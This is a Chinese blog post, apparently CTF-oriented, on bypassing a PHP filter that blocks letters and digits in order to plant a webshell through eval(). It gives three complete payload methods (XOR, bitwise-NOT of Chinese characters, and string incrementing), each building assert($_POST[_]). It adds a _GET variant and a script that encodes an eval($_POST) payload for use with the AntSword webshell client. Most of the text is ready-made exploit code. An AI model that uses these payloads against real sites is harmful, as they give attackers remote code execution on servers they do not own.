php中一些不包含数字和字母的正则绕过

php中一些不包含数字和字母的webshell

eg:

<?php
if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}

思路:

将我们需要的payload用非字母和数字的字符经过变换得到,然后知道能php动态函数执行

注意:php5和php7有差异

php5:assert是一个函数,我们可以通过 a = ′ a s s e r t ′ ; a='assert'; a=assert;a=(xxx)的方式动态调用。

php7:assert不再是函数了,变成了一个语言结构了(类似于eval),不能再作为函数名动态调用了,但是同样能利用,只不过比较复杂。

方法一:
异或

原理:

字符:?         ASCII码:63           二进制:  00‭11 1111‬
字符:~         ASCII码:126          二进制:  0111 1110‬
异或规则:
1   XOR   0   =   1
0   XOR   1   =   1
0   XOR   0   =   0
1   XOR   1   =   0
上述两个字符异或得到 二进制:  0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A

几个位运算符:
可以把1理解为真,0理解为假;那么就可以把“&”理解为“与”,“|”理解为“或”;**而对于“^”则是相同为就0**,不同就为1。“~”为取反操作。

然后根据原理可以异或得到我们的语句,比较麻烦,网上有脚本,直接去找一找

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); 
// $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); 
// $__='_POST';
$___=$$__;
$_($___[_]); 
// assert($_POST[_]);

然后再post传值

_=phpinfo

方法二:

取反

原理:

是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反

在这里插入图片描述

paylod:

$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

这个答案还利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

这里post传参 2=phpinfo

方法三:

利用php的一个特性

就是一个很简单的道理

eg:

<?php
echo '== Alphabets ==' . PHP_EOL;
$s = 'W';
for ($n=0; $n<6; $n++) {
    echo ++$s . PHP_EOL;
}
// Digit characters behave differently
echo '== Digits ==' . PHP_EOL;
$d = 'A8';
for ($n=0; $n<6; $n++) {
    echo ++$d . PHP_EOL;
}
$d = 'A08';
for ($n=0; $n<6; $n++) {
    echo ++$d . PHP_EOL;
}
?>

然后它的输出为

== Characters ==
X
Y
Z
AA
AB
AC
== Digits ==
A9
B0
B1
B2
B3
B4
A09
A10
A11
A12
A13
A14

好了,知道这个特性,我们还要知道怎么利用

意思是我们需要拿到一个字母a,我们就能利用它来拿到a-z

然后数组(Array)的第一个字母就是A,第四个字母是a,然后php函数对大小写不敏感的,所以我们只需要ASSERT($_POST[_]),无需获取小写的a:

$_=[];
$_=@"$_"; 
// $_='Array';
$_=$_['!'=='@']; 
// $_=$_[0];
$___=$_; 
// A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; 
// S
$___.=$__;
// S
$__=$_;
$__++;$__++;$__++;$__++; 
// E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
// R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
// T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
// P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
// O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
// S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
// T
$____.=$__;

$_=$$____;
$___($_[_]); 
// ASSERT($_POST[_]);

然后再进行post传参getshell

以上为php5的绕过

下面这个通用

除这些之外我们还可以这样用${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo其中"%86%86%86%86^%d9%c1%c3%d2"为构造出的_GET,适合于过滤了引号的情况下使用。

然后最后贴一个脚本

<?php 
error_reporting(0);

$a='assert';
$b=urlencode(~$a);
echo $b;

echo "<br>";
$c='(eval($_POST["xxx"]))';
$d=urlencode(~$c);
echo $d;

 ?>

这个脚本也适用于php7然后配合蚁剑getshell
使用方法我会在我下一篇文章写到
希望这篇文章能够帮助你!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M1kael

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值